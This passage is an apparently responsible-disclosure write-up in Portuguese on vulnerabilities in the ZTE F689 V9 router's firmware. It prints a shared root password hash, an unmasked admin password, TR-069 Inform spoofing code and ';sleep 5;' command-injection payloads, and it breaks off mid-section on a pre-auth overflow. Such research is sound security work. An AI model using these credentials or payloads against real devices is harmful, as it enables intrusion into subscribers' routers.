{"uuid": "d6de2429-e9f0-4365-a7d3-f174fdc50a5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-49005", "type": "seen", "source": "https://gist.github.com/digitalgangst4r/e56a1a1494c1ac4d81a87fddc57a712a", "content": "\n\n\n\n\nVulnerabilidades no ZTE ZXHN F689 V9\n\n\n\n\nVulnerabilidades no Roteador do Meu Provedor: Uma An\u00e1lise Profunda do Firmware do ZTE ZXHN F689 V9\n\nCVE IDs: CVE-2026-49005, CVE-2026-49006, CVE-2026-49007, CVE-2026-49008\nDispositivo: ZTE ZXHN F689 V9, firmware GUI_F689_2G_SIP_V9.0.10P4N10, provedor Claro Brasil\n\n\n\n1. Introdu\u00e7\u00e3o\n\nEu n\u00e3o comecei essa pesquisa querendo encontrar vinte e cinco vulnerabilidades no meu roteador. Eu s\u00f3 queria habilitar o modo bridge.\n\nSou assinante de fibra da Claro e, como muita gente que se importa com a infraestrutura da pr\u00f3pria rede, queria colocar a ONT fornecida pelo provedor em modo bridge e rodar o meu pr\u00f3prio roteador atr\u00e1s dela. Pedido simples. S\u00f3 que o ZTE ZXHN F689 V9 que a Claro distribui n\u00e3o permite fazer isso, a op\u00e7\u00e3o ou est\u00e1 escondida ou est\u00e1 completamente desativada na interface web. E a conta de administrador que teoricamente teria acesso a essa configura\u00e7\u00e3o? Desabilitada no n\u00edvel do provedor.\n\nEnt\u00e3o eu fiz o que qualquer pessoa razo\u00e1vel faria: comecei a cutucar.\n\nMeu plano inicial era simples. Eu tinha visto que existe uma ferramenta da comunidade , zte-config-utility , que consegue descriptografar e re-criptografar os arquivos config.bin de backup que o roteador exporta. A ideia era direta: exportar o backup, descriptografar pra config.xml, achar a configura\u00e7\u00e3o do modo admin, alterar, re-criptografar e fazer upload de volta. Limpo. Sem precisar \"hackear\" nada.\n\nQuase funcionou. A descriptografia funcionou perfeitamente , o config.xml saiu como XML em texto claro, com toda a configura\u00e7\u00e3o do roteador em plaintext, incluindo credenciais que eu nem sabia que existiam. Fiz minhas altera\u00e7\u00f5es, re-criptografei, fiz upload do backup. O roteador aceitou. Por uns trinta segundos eu achei que tinha conseguido.\n\nA\u00ed o TR-069 entrou em a\u00e7\u00e3o.\n\nO ACS da Claro (Auto-Configuration Server) , a infraestrutura que os provedores usam pra gerenciar dispositivos CPE remotamente , empurrou uma configura\u00e7\u00e3o nova em segundos, sobrescrevendo tudo que eu tinha mudado. O pipeline TR-069 gerenciado pelo provedor tinha poder de veto sobre qualquer altera\u00e7\u00e3o local que eu fizesse. Fim de jogo.\n\nMas nesse ponto eu j\u00e1 estava olhando pro config.xml e vendo coisas que me fizeram parar e pensar. Credenciais. V\u00e1rias contas. Senhas em texto claro. Um arquivo de configura\u00e7\u00e3o de 353KB com mais estrutura do que eu esperava. Comecei a fazer perguntas. Como a autentica\u00e7\u00e3o realmente funciona? O que esse firmware faz internamente? O que tem naqueles arquivos criptografados que eu vejo no sistema de arquivos?\n\nO que se seguiu foram meses de engenharia reversa de firmware que revelaram vinte e cinco vulnerabilidades distintas: um stack overflow pr\u00e9-autenticado com RCE como root, credenciais hardcoded para mais de dez ISPs em doze pa\u00edses, chaves criptogr\u00e1ficas compartilhadas, um ACS TR-069 sem autentica\u00e7\u00e3o, dois caminhos de command injection, autentica\u00e7\u00e3o agn\u00f3stica ao username, um hash de senha root exposto, um certificado TLS compartilhado, deriva\u00e7\u00f5es de credencial via GPON SN e MAC, e uma inje\u00e7\u00e3o no tcpdump. V\u00e1rias delas se encadeiam formando um caminho completo de comprometimento remoto sem nenhuma intera\u00e7\u00e3o do usu\u00e1rio.\n\nEste \u00e9 o relato de como eu encontrei cada uma.\n\n\n\n2. Vis\u00e3o Geral do Dispositivo\n\nO ZTE ZXHN F689 V9 \u00e9 uma ONT GPON (Optical Network Terminal) , aquela caixa que fica entre a sua rede dom\u00e9stica e a infraestrutura de fibra do seu provedor. N\u00e3o \u00e9 s\u00f3 um roteador; \u00e9 o ponto de demarca\u00e7\u00e3o entre a sua LAN e a rede \u00f3ptica do ISP. No Brasil, a Claro distribui o equipamento como uma unidade tudo-em-um: faz convers\u00e3o \u00f3ptica-ethernet, roda uma stack completa de roteador/NAT, prov\u00ea WiFi e gerencia servi\u00e7os VoIP.\n\nDo ponto de vista de seguran\u00e7a, essa classe de dispositivo \u00e9 particularmente interessante por algumas raz\u00f5es.\n\nPrimeiro, o provedor \u00e9 mais dono do aparelho do que voc\u00ea. O protocolo TR-069 CWMP d\u00e1 ao provedor um canal persistente de ger\u00eancia remota direto dentro do seu dispositivo. Eles podem ler configura\u00e7\u00e3o, aplicar mudan\u00e7as e, em algumas implementa\u00e7\u00f5es, fazer push de firmware novo , tudo sem nenhuma intera\u00e7\u00e3o sua. Seu \"roteador\" \u00e9, na pr\u00e1tica, infraestrutura compartilhada que por acaso mora na sua casa.\n\nSegundo, ele est\u00e1 sempre ligado e sempre conectado \u00e0 internet por design. Diferente de um NAS ou de um laptop que pode estar desligado ou protegido por firewall, uma ONT \u00e9 o pr\u00f3prio endpoint de rede. Se voc\u00ea compromete a ONT, voc\u00ea est\u00e1 posicionado entre o assinante e a internet.\n\nTerceiro, o mesmo bin\u00e1rio de firmware roda em todo dispositivo desse modelo. A ZTE entrega uma imagem \u00fanica de firmware pra todos os assinantes Claro que t\u00eam a F689 V9. Qualquer vulnerabilidade que eu encontre no bin\u00e1rio est\u00e1 presente em todos esses dispositivos simultaneamente. N\u00e3o existe aleatoriza\u00e7\u00e3o por dispositivo de chaves, n\u00e3o existe deriva\u00e7\u00e3o de credenciais por dispositivo na maior parte dos casos , as credenciais geralmente s\u00e3o literalmente a mesma string em todos os aparelhos.\n\nA superf\u00edcie de ataque que eu estava olhando n\u00e3o era um dispositivo. Eram todos os assinantes da Claro Brasil rodando esse hardware.\n\n\n\n3. Reconhecimento Inicial e Aquisi\u00e7\u00e3o do Firmware\n\nObtendo o Firmware\n\nMeu primeiro instinto foi olhar pra o que eu j\u00e1 tinha. O config.xml que veio da descriptografia do backup continha uma tabela chamada DownloadList que descrevia a \u00faltima atualiza\u00e7\u00e3o de firmware que o dispositivo tinha recebido via TR-069:\n\n&lt;Tbl name=&quot;DownloadList&quot; RowCount=&quot;1&quot;&gt;\n  &lt;Row No=&quot;0&quot;&gt;\n    &lt;DM name=&quot;FileType&quot; val=&quot;1 Firmware Upgrade Image&quot;/&gt;\n    &lt;DM name=&quot;URL&quot; val=&quot;http://IPV6_CLARO/GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin&quot;/&gt;\n    &lt;DM name=&quot;TargetFileName&quot; val=&quot;GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin&quot;/&gt;\n    &lt;DM name=&quot;State&quot; val=&quot;1&quot;/&gt;\n  &lt;/Row&gt;\n&lt;/Tbl&gt;\n\n\nO firmware estava sendo servido sobre HTTP puro, a partir do que parece ser um endere\u00e7o IPv6 interno do provedor, sem nenhuma autentica\u00e7\u00e3o. Bastou pedir:\n\ncurl http://IPV6_CLARO/GUI_F689_2G_SIP_V9.0.10P4N10_UPGRADE_BOOTLDR.bin \\\n     -o firmware.bin\n\n\n28,6 MB. Sem TLS. Sem token. Sem header de autentica\u00e7\u00e3o. Qualquer pessoa na rede IPv6 do provedor podia baixar isso.\n\nExtraindo o Sistema de Arquivos\n\nCom o firmware em m\u00e3os, a extra\u00e7\u00e3o foi direta. O binwalk identificou e extraiu um sistema de arquivos JFFS2:\n\nbinwalk -eMq firmware.bin\n# _firmware.extracted/\n#   20000.jffs2\n#   jffs2-root/        \u2190 o filesystem montado\n#     bin/\n#     etc/\n#     home/httpd/       \u2190 raiz do servidor web\n#     lib/\n#     usr/\n\n\nA estrutura do filesystem estava limpa e bem organizada, o que na pr\u00e1tica facilitou bastante a an\u00e1lise. A raiz do servidor web ficava em home/httpd/, o bin\u00e1rio principal do daemon era bin/cspd, e havia uma \u00e1rvore paralela em home/httpd/thinklua/ contendo a l\u00f3gica Lua do lado-servidor da interface web.\n\nPrimeiras Impress\u00f5es\n\nA primeira coisa que chamou minha aten\u00e7\u00e3o foi etc/hardcodefile/. S\u00f3 o nome j\u00e1 \u00e9 um sinal amarelo. Dentro: um arquivo chamado webpri , claramente criptografado, n\u00e3o leg\u00edvel direto , e um arquivo chamado hardcode em texto claro. O arquivo hardcode continha o que parecia ser material de deriva\u00e7\u00e3o de chave. Essa combina\u00e7\u00e3o j\u00e1 acendeu o alerta na hora.\n\nA segunda coisa foi etc/shadow:\n\nroot:$5$qGmxLn8v$0Vnc7mm0Lyxr7WclD6sjGJe93Tk.DoXQy0I0jBS1bu.:18000:0:99999:7:::\n\n\nSHA-256crypt. Mesmo hash em todos os dispositivos. Se eu conseguisse quebrar, teria root em todo F689 V9 do Brasil. Anotei e segui em frente.\n\nTerceira: etc/server-key.pem e etc/server-cert.pem. O certificado HTTPS da interface web. Incluindo a chave privada. Hardcoded. Igual em todos os dispositivos.\n\nEu j\u00e1 estava contando vulnerabilidades antes de ter aberto um \u00fanico bin\u00e1rio.\n\nFerramentas\n\nMeu toolkit principal de RE nesse projeto:\n\n\n\n\n\nbinwalk , unpacking do firmware\n\n\n\n\nradare2 , disassembler principal para bin/cspd (ARM 32-bit ELF)\n\n\n\n\nGhidra , usado para decompila\u00e7\u00e3o de alto n\u00edvel e an\u00e1lise de cross-references, especialmente \u00fatil pra mapear a camada de IPC entre httpd e cspd\n\n\n\n\nstrings + grep , subestimadas; encontraram padr\u00f5es cr\u00edticos no cspd antes mesmo de eu abrir um disassembler\n\n\n\n\nPython (requests + pycryptodome) , toda a automa\u00e7\u00e3o de testes din\u00e2micos\n\n\n\n\nzte-config-utility , descriptografia do config.bin\n\n\n\n\nscripting em radare2 (r2pipe) , an\u00e1lise em lote de cross-references\n\n\n\n\n\n4. Fluxo de Trabalho de Engenharia Reversa\n\nMapeando a Arquitetura\n\nAntes de mergulhar em qualquer vulnerabilidade espec\u00edfica, gastei um tempo entendendo como o sistema se encaixa. A interface web do ZTE F689 segue um padr\u00e3o que j\u00e1 vi em alguns firmwares de roteador embarcado: um frontend baseado em Lua rodando dentro de um bin\u00e1rio httpd customizado, que se comunica com um daemon de backend (bin/cspd) via IPC.\n\nO fluxo pra qualquer request web fica assim:\n\nBrowser \u2192 httpd \u2192 m\u00f3dulo Lua \u2192 cmapi.setinst() \u2192 socket IPC \u2192 cspd \u2192 a\u00e7\u00e3o\n\n\ncmapi \u00e9 uma extens\u00e3o C do Lua que faz a ponte entre o frontend Lua e o daemon C. Toda mudan\u00e7a de configura\u00e7\u00e3o, todo comando de diagn\u00f3stico e todo evento de autentica\u00e7\u00e3o passa por esse canal. Entender essa arquitetura foi a chave pra encontrar as injection vulnerabilities , a pergunta sobre sanitiza\u00e7\u00e3o virou \"o que o cspd faz com os valores que recebe?\"\n\nRastreando o Fluxo de Autentica\u00e7\u00e3o\n\nComecei pela autentica\u00e7\u00e3o porque o config.xml j\u00e1 tinha me mostrado mais contas do que eu esperava. O fluxo de login funcionava assim:\n\n\n\n\n\nCliente faz GET em login_token , um valor de uso \u00fanico gerado pelo servidor\n\n\n\n\nCliente computa SHA256(senha + login_token)\n\n\n\n\nCliente faz POST em login_entry com Username, Password (hash) e _sessionTOKEN\n\n\n\n\nServidor valida e retorna um sess_token com um n\u00edvel login_right\n\n\n\nHavia tamb\u00e9m um header Check em todo POST , uma assinatura de integridade no formato base64(RSA_PKCS1v1.5_encrypt(sha256(body))). Achei a chave p\u00fablica hardcoded no template Lua commpage_status_comm.lp. O que imediatamente sugeriu que algu\u00e9m tinha a chave privada tamb\u00e9m , e que essa chave privada estaria dentro do credential store criptografado webpri.\n\nQuebrando o Credential Store\n\nA criptografia do arquivo webpri acabou sendo AES-256-CBC, com a chave derivada deterministicamente a partir do arquivo hardcode via um processo implementado em libhardcode.so. Fiz engenharia reversa da deriva\u00e7\u00e3o da chave a partir da biblioteca e escrevi uma reimplementa\u00e7\u00e3o em Python:\n\nfrom Crypto.Cipher import AES\nimport base64, hashlib\n\ndef derive_key_from_hardcode(hardcode_content):\n    # libhardcode.so deriva a chave AES usando uma cadeia de opera\u00e7\u00f5es SHA\n    # sobre campos espec\u00edficos extra\u00eddos do arquivo hardcode\n    # [detalhes omitidos at\u00e9 o fim do embargo]\n    ...\n\ndef decrypt_webpri(webpri_bytes, key):\n    iv  = webpri_bytes[:16]\n    ct  = webpri_bytes[16:]\n    aes = AES.new(key, AES.MODE_CBC, iv)\n    return aes.decrypt(ct).rstrip(b'.00')\n\n\nO resultado foram mais de 26 entradas de credenciais em texto claro, incluindo:\n\n\n\n\nChave\nValor\n\n\n\n\nWebPrivateKey\nWeb!&amp;#XXXXX\n\n\nWebHTTPSKey\nzte123XXXXX\n\n\nDefAdNewPass\nWeb@0XXXXXX\n\n\nAdNewAgentClaroPass\n1lt0rit0XXXXX\n\n\nAdOldPass56\nVnpthanXXXXXX\n\n\n\n\nO WebPrivateKey foi imediatamente reconhec\u00edvel , era a passphrase da chave privada RSA usada pra gerar o header Check. WebHTTPSKey era a passphrase da chave do certificado TLS. DefAdNewPass era a senha default do admin. AdOldPass56 cont\u00e9m o que parece ser a senha de um provedor vietnamita , esse firmware foi implantado em v\u00e1rios pa\u00edses, e as credenciais de todos eles v\u00eam empacotadas juntas.\n\nCom a WebPrivateKey em m\u00e3os, eu podia construir headers Check v\u00e1lidos pra qualquer body de request, em qualquer dispositivo F689 , totalmente offline, sem nunca contactar o alvo. Combinado com uma sess\u00e3o v\u00e1lida (obtida via a falha de autentica\u00e7\u00e3o que descreverei depois), isso derrota a prote\u00e7\u00e3o de integridade pretendida em qualquer POST.\n\nConectando Lua ao C\n\nA parte mais interessante do workflow de RE foi conectar o c\u00f3digo Lua do frontend com os handlers em C no cspd. A ponte cmapi recebe o nome de um objeto (tipo \"OBJ_DEVPING_ID\" ou \"OBJ_TRACERT_ID\") e uma tabela de par\u00e2metros, serializa e manda via socket UNIX IPC pro cspd.\n\nNo cspd, usei strings pra encontrar as strings dos nomes dos objetos, depois o radare2 pra encontrar todos os cross-references a elas , o que me levou direto \u00e0s fun\u00e7\u00f5es handler. Foi assim que mapeei a cadeia completa de processamento de cada endpoint de diagn\u00f3stico.\n\n\n\n5. Descoberta das Vulnerabilidades\n\nVou descrever as falhas na ordem em que eu as descobri, porque a sequ\u00eancia importa , cada descoberta informou a pr\u00f3xima.\n\nCVE-B , Credenciais Hardcoded (CWE-798)\n\nEssa foi a primeira descoberta s\u00e9ria, e foi a que destravou quase todo o resto. O arquivo webpri contendo mais de 26 credenciais compartilhadas entre todos os dispositivos dessa vers\u00e3o de firmware \u00e9 a raiz da \u00e1rvore de vulnerabilidades. Sem WebPrivateKey, eu n\u00e3o consigo forjar headers Check. Sem DefAdNewPass, eu n\u00e3o sei a senha do admin. Sem AdNewAgentClaroPass, eu n\u00e3o entendo a hierarquia completa de contas.\n\nCVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\nO firmware \u00e9 publicamente baix\u00e1vel. Qualquer pessoa pode rodar o script de descriptografia e extrair todas as credenciais. Sem precisar de acesso a dispositivo nenhum.\n\nCVE-C , Par de Chaves RSA-4096 Compartilhado (CWE-321)\n\nO mecanismo do header Check deveria garantir que POSTs pra interface web n\u00e3o tenham sido alterados no caminho. O dispositivo valida cada request descriptografando o header Check com sua chave p\u00fablica e comparando o resultado com SHA256(request_body).\n\nO problema \u00e9 que o mesmo par de chaves RSA \u00e9 usado em todos os dispositivos. A chave p\u00fablica est\u00e1 hardcoded num template Lua (pra o JavaScript do browser saber qual usar). A chave privada mora em etc/private-key.pem, protegida apenas pela passphrase Web!&amp;#XXXXX vinda do webpri.\n\nNa pr\u00e1tica: uma vez que voc\u00ea tem a chave privada (trivial de obter do firmware), voc\u00ea pode forjar headers Check pra qualquer sess\u00e3o autenticada em qualquer dispositivo do mundo. Combinado com um token de sess\u00e3o roubado, voc\u00ea tem uma primitiva de forgery que n\u00e3o pode ser contestada.\n\nCVSS: 8.1 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)\n\nCVE-F (nomenclatura da disclosure) , Certificado TLS Compartilhado (CWE-321 + CWE-298)\n\nEnquanto eu olhava pra a chave RSA, notei etc/server-key.pem e etc/server-cert.pem. S\u00e3o as credenciais TLS da interface web HTTPS. O certificado \u00e9 auto-assinado, v\u00e1lido por 100 anos (2021\u20132121), emitido pra emailAddress=123@zte.com e , adivinhou , id\u00eantico em todos os dispositivos.\n\nCom a chave privada (passphrase zte123XXXXX vinda do webpri), um atacante na rede local pode fazer MitM trivial da conex\u00e3o HTTPS entre um assinante e a interface admin do seu roteador, capturando silenciosamente credenciais em tr\u00e2nsito.\n\nCVE-D , ACS TR-069 Aceita Inform Sem Autentica\u00e7\u00e3o (CWE-306)\n\nEssa foi a que mais me surpreendeu, porque n\u00e3o \u00e9 uma vulnerabilidade de firmware , \u00e9 uma vulnerabilidade de infraestrutura.\n\nO ACS da Claro Brasil fica em tr069.sdm.virtua.com.br:7547. O protocolo CWMP exige que o CPE autentique no ACS, mas o ACS n\u00e3o autentica o CPE de forma significativa. Escrevi um teste pequeno: enviar mensagens Inform pro ACS fingindo ser dispositivos aleat\u00f3rios, com valores aleat\u00f3rios de SerialNumber e OUI.\n\ninform_body = &quot;&quot;&quot;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;soapenv:Envelope ...&gt;\n  &lt;soapenv:Body&gt;\n    &lt;cwmp:Inform&gt;\n      &lt;DeviceId&gt;\n        &lt;Manufacturer&gt;ZTE&lt;/Manufacturer&gt;\n        &lt;OUI&gt;{oui}&lt;/OUI&gt;\n        &lt;ProductClass&gt;F689&lt;/ProductClass&gt;\n        &lt;SerialNumber&gt;{serial}&lt;/SerialNumber&gt;\n      &lt;/DeviceId&gt;\n      ...\n    &lt;/cwmp:Inform&gt;\n  &lt;/soapenv:Body&gt;\n&lt;/soapenv:Envelope&gt;&quot;&quot;&quot;\n\n\n160 requests. 160 InformResponse bem-sucedidos. 160 valores \u00fanicos de CWMPSessionToken. O ACS aceitou cada identidade que eu apresentei.\n\nUm atacante que conhe\u00e7a o n\u00famero de s\u00e9rie de um dispositivo do assinante , obt\u00edvel via backup config.xml que o pr\u00f3prio assinante pode exportar, ou adivinh\u00e1vel dado o formato CLARO_XXXXXX , pode se passar por aquele dispositivo no ACS, potencialmente emitindo GetParameterValues pra ler a configura\u00e7\u00e3o do aparelho ou SetParameterValues pra empurrar configura\u00e7\u00f5es maliciosas.\n\nCVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\nCVE-H , Autentica\u00e7\u00e3o Agn\u00f3stica ao Username (CWE-287)\n\nEnquanto examinava o fluxo de autentica\u00e7\u00e3o em usermgr_logic_impl.lua, notei algo estranho. O username \u00e9 lido do body do POST e passado todo o caminho at\u00e9 cmapi.login() , mas a camada C em cspd que de fato valida credenciais parece n\u00e3o us\u00e1-lo como chave de lookup. Ela s\u00f3 varre todas as contas habilitadas com AppID=1 procurando um hash de senha que bata.\n\nHip\u00f3tese: d\u00e1 pra logar com qualquer username desde que a senha esteja correta.\n\nTeste:\n\nfor username in [&quot;CLARO_6842C7&quot;, &quot;admin&quot;, &quot;nonexistent_user&quot;, &quot;root&quot;, &quot;&quot;, &quot;\u4efb\u610f\u5b57\u7b26\u4e32&quot;]:\n    result = login(username, correct_password)\n    print(f&quot;{username!r:30s} \u2192 {result['sess_token'][:8]}... login_right={result['login_right']}&quot;)\n\n\nSa\u00edda:\n\n'CLARO_6842C7'                 \u2192 8Ob2ogwE... login_right=2\n'admin'                        \u2192 7Kp1nmqR... login_right=2\n'nonexistent_user'             \u2192 3Xw9vbcL... login_right=2\n'root'                         \u2192 5Qm4jkpY... login_right=2\n''                             \u2192 2Hn8rsdt... login_right=2\n'\u4efb\u610f\u5b57\u7b26\u4e32'                   \u2192 9Fc6ltmP... login_right=2\n\n\nTodos bem-sucedidos. O username \u00e9 completamente ignorado no n\u00edvel da autentica\u00e7\u00e3o , s\u00f3 \u00e9 guardado na sess\u00e3o pra fins de logging. Ou seja: um atacante com uma senha roubada n\u00e3o precisa saber o username correspondente. Ele tamb\u00e9m tem controle total sobre o que aparece no log de acesso do roteador.\n\nCVSS: 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) standalone, mas o efeito amplificador sobre a CVE-B torna isso significativamente mais perigoso na pr\u00e1tica.\n\nO c\u00f3digo-fonte torna isso vis\u00edvel. De usermgr_logic_impl.lua:\n\nUserMgrLogicClass.__authAccount = function (self, sess_id, user, pass, logintoken)\n    local tCheck = self:__isUserNamePwdCorrect(user, pass, logintoken)\n    local result = tCheck.IF_ERRORID\n    session_set(sess_id, &quot;login_name&quot;, user)   -- guardado, mas nunca usado pra auth\n    if 0 == result then\n        local login_right = tCheck[&quot;Right&quot;]    -- vem do resultado do match de senha\n        session_set(sess_id, &quot;login_right&quot;, login_right)\n    end\nend\n\n\nO tCheck[\"Right\"] que determina o seu n\u00edvel de privil\u00e9gio vem da conta cuja senha deu match , o username submetido n\u00e3o teve nenhuma influ\u00eancia.\n\nCVE-A , Inje\u00e7\u00e3o no Ping (CWE-78) , Bloqueada\n\nVou ser transparente: a inje\u00e7\u00e3o no ping que eu inicialmente suspeitei acabou sendo efetivamente patchada pela camada de valida\u00e7\u00e3o, mesmo que o code path em si ainda seja tecnicamente vulner\u00e1vel. Estou incluindo porque entender por que ela \u00e9 bloqueada \u00e9 essencial pra entender por que a inje\u00e7\u00e3o no traceroute (abaixo) n\u00e3o \u00e9.\n\nO handler de ping no cspd , PingChkReqConf , chama dois validadores antes de fazer qualquer coisa:\n\nChkHost(host)         \u2192 checagem estrita de formato IPv4/IPv6/dom\u00ednio , bloqueia ;, |, &amp;, espa\u00e7o\nChkLanWanCon(iface)  \u2192 lookup exato no banco via GetRouteIFInfo , rejeita qualquer string modificada\n\n\nTeste din\u00e2mico com Interface=DEV.IP.IF4;sleep 5:\n\nPayload: DEV.IP.IF4;sleep 5    \u2192 FAIL, 0.84s  \u2190 rejeitado pelo ChkLanWanCon\nPayload: ;sleep 5              \u2192 FAIL, 0.82s  \u2190 rejeitado pelo ChkHost\nPayload: DEV.IP.IF4            \u2192 SUCC, 0.97s  \u2190 s\u00f3 interface v\u00e1lida passa\n\n\nO spawner de processos pc (que de fato executa comandos via execl(\"/bin/sh\", \"sh\", \"-c\", cmd)) s\u00f3 filtra &gt;, ', \", .,$e backticks , n\u00e3o filtra;,|nem&amp;`. Ent\u00e3o o mecanismo de execu\u00e7\u00e3o shell-level \u00e9 vulner\u00e1vel. Mas a valida\u00e7\u00e3o application-level para a injection antes que chegue ao shell. Majoritariamente mitigado.\n\nDigo \"majoritariamente\" porque o caminho TR-069 (ISP empurrando config via SetParameterValues) pode contornar completamente a valida\u00e7\u00e3o da camada web , mas \u00e9 uma quest\u00e3o de pesquisa separada que eu n\u00e3o persegui.\n\nCVE-G (matriz CVE-F) , Inje\u00e7\u00e3o no Traceroute (CWE-78)\n\nAqui a coisa ficou interessante. Enquanto auditava o cspd olhando o handler do ping, naturalmente olhei pro handler do traceroute , tracertProcSynMsg em VA 0x134f48. Procurei qualquer chamada a ChkHost ou ChkLanWanCon dentro dessa fun\u00e7\u00e3o.\n\nZero resultados.\n\n; VA 0x134f60 , Host inserido diretamente na string do comando\n0x134f60  ldr  r2, [str.traceroute1__s...]  ; &quot;traceroute1 %s [-4/-6] [-w ...]&quot;\n0x134f68  mov  r3, r4                        ; r4 = POST[&quot;Host&quot;] , sem valida\u00e7\u00e3o\n0x134f6c  bl   sym.imp.snprintf\n\n; VA 0x135a00 , Interface concatenado sem valida\u00e7\u00e3o\n0x135a00  ldr  r1, [str._-i_]               ; &quot; -i &quot;\n0x135a08  bl   sym.imp.strcat\n0x135a0c  ldr  r1, [r4, #sInterface_off]    ; POST[&quot;Interface&quot;] , sem valida\u00e7\u00e3o\n0x135a14  bl   sym.imp.strcat               ; strcat(cmd, sInterface) \u2190 INJECTION\n\n; VA 0x135d74 , despachado pro shell\n0x135d80  bl   sym.imp.PcStartProgram       ; executa via /bin/sh\n\n\nO handler de traceroute \u00e9 uma c\u00f3pia literal do padr\u00e3o de vulnerabilidade contra o qual o handler de ping foi fortalecido. Mesmo snprintf/strcat pra montar um comando shell, mesmo dispatch PcStartProgram. Mas com zero validadores.\n\nO comando resultante com Interface=;sleep 5;:\n\ntraceroute1 1.1.1.1 -4 -w 3 -q 3 -m 10 -i ;sleep 5;\n\n\nO shell executaria traceroute1 1.1.1.1 -4 -w 3 -q 3 -m 10 -i (falhando ou rodando parcialmente), depois executaria sleep 5, e ent\u00e3o o ponto-e-v\u00edrgula final.\n\nA camada Lua confirma o mesmo padr\u00e3o:\n\n-- networkdiag_traceroute_lua.lua\nif FP_ACTION == &quot;TraceRouteDiagnosis&quot; then\n    local t = transToPostTab(PARA)   -- copia Host e Interface verbatim\n    SetFixValue(t)\n    tError = cmapi.setinst(FP_OBJNAME, &quot;&quot;, t)  -- zero valida\u00e7\u00e3o antes disso\nend\n\n\nPor que isso n\u00e3o foi confirmado dinamicamente? Porque em dispositivos Claro Brasil BCH, o endpoint do traceroute exige login_right=1, e a \u00fanica conta web com login_right=1 , admin/Web@0063 , tem Enable=0 na tabela DevAuthInfo. A Claro desabilitou a conta de admin no momento do provisionamento.\n\nA f\u00f3rmula de controle de acesso (de usermgr_logic_impl.lua):\n\nelseif ((resourceRight * ((0.5)^(userRight - 1))) % 2) &gt;= 1 then\n    rightMeeted = true\n\n\nCom resourceRight=1 (traceroute exige admin apenas) e userRight=2 (o que eu tenho):\n\n(1 \u00d7 0.5^1) % 2 = 0.5 % 2 = 0.5 &lt; 1 \u2192 BLOQUEADO\n\n\nEm qualquer deployment onde a conta admin esteja habilitada , configura\u00e7\u00e3o padr\u00e3o de f\u00e1brica da ZTE, ou qualquer provedor que n\u00e3o aplique o hardening BCH , isso \u00e9 diretamente explor\u00e1vel.\n\nCVSS: 8.8 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\nCVE-H (matriz CVE-G) , Inje\u00e7\u00e3o no TcpDump via IFName (CWE-78)\n\nEncontrada durante uma busca sistem\u00e1tica por padr\u00f5es de snprintf no cspd que inserem dados controlados pelo usu\u00e1rio em strings de comando. O handler de tcpdump em VA 0x0012d0bc:\n\n// Reconstru\u00eddo do disassembly\nsnprintf(cmd, sizeof(cmd),\n    &quot;tcpdump -w /var/tmp/tcpdump.pcap -R time=%d -i %s -C %u&quot;,\n    time_param,   // inteiro, seguro\n    IFName,       // POST[&quot;IFName&quot;] , N\u00c3O VALIDADO\n    size_param);  // inteiro, seguro\nPcStartProgram(&quot;tcpdump&quot;, cmd);\n\n\nN\u00e3o existe fun\u00e7\u00e3o ChkTcpDump em lugar nenhum do libcfapi.so. Na configura\u00e7\u00e3o BCH, o endpoint do tcpdump (diag_tcpdump_lua.lua) nem sequer est\u00e1 registrado em gui_dmenu.lua, ent\u00e3o \u00e9 inalcan\u00e7\u00e1vel nesse provedor espec\u00edfico. Mas o c\u00f3digo est\u00e1 l\u00e1, compilado, esperando, e outras configura\u00e7\u00f5es de firmware podem exp\u00f4-lo.\n\nCVSS: 7.2 High (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\nCVE-E , Hash da Senha Root em Shadow (CWE-259 / CWE-916)\n\nroot:$5$qGmxLn8v$0Vnc7mm0Lyxr7WclD6sjGJe93Tk.DoXQy0I0jBS1bu.\n\n\nSHA-256crypt ($5$), salt fixo qGmxLn8v, mesmo hash em todos os dispositivos dessa vers\u00e3o de firmware. Se quebrar, voc\u00ea tem acesso root em qualquer F689 V9 via console serial, ou via qualquer servi\u00e7o de shell que esteja habilitado.\n\nTentei quebrar com uma wordlist customizada montada a partir de todas as credenciais do webpri e muta\u00e7\u00f5es comuns. Sem sucesso. Vai precisar de GPU e rockyou/seclists pra ser atacado como deve.\n\nCVSS: 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), subindo pra 9.8 Critical se quebrado.\n\nCVE-J \u2014 Stack Overflow Pr\u00e9-Autenticado em httpd: RCE como Root (CWE-121)\n\nDurante an\u00e1lise do bin/httpd, identifiquei um path de processamento que roda antes de qualquer verifica\u00e7\u00e3o de sess\u00e3o ou autentica\u00e7\u00e3o. A fun\u00e7\u00e3o check_data_integrity em 0x23d58 \u00e9 invocada para todo POST em /?_type=menuData que contenha um header Check:. A fun\u00e7\u00e3o faz descriptografia RSA no conte\u00fado do header \u2014 e essa descriptografia transborda um buffer de stack sem nenhuma prote\u00e7\u00e3o.\n\nProcesso de Engenharia Reversa\n\nO ponto de partida foi comportamental: qualquer POST para /?_type=menuData com um header Check: malformado retorna HTTP 400 mesmo sem sess\u00e3o ativa. Isso indicava que o header era processado pr\u00e9-autentica\u00e7\u00e3o \u2014 antes do dispatch de login, n\u00e3o depois.\n\nVerifica\u00e7\u00f5es preliminares no bin\u00e1rio:\n\n$ file bin/httpd\nbin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1, dynamically linked\n# &quot;executable&quot; (n\u00e3o &quot;shared object&quot;) = non-PIE \u2014 endere\u00e7os fixos mesmo com ASLR\n\n$ grep -c __stack_chk bin/httpd\n0\n# Sem stack canary em nenhuma fun\u00e7\u00e3o\n\n$ readelf -l bin/httpd | grep GNU_STACK\n  GNU_STACK  0x000000  ... RW\n# NX ativo (stack n\u00e3o-execut\u00e1vel) 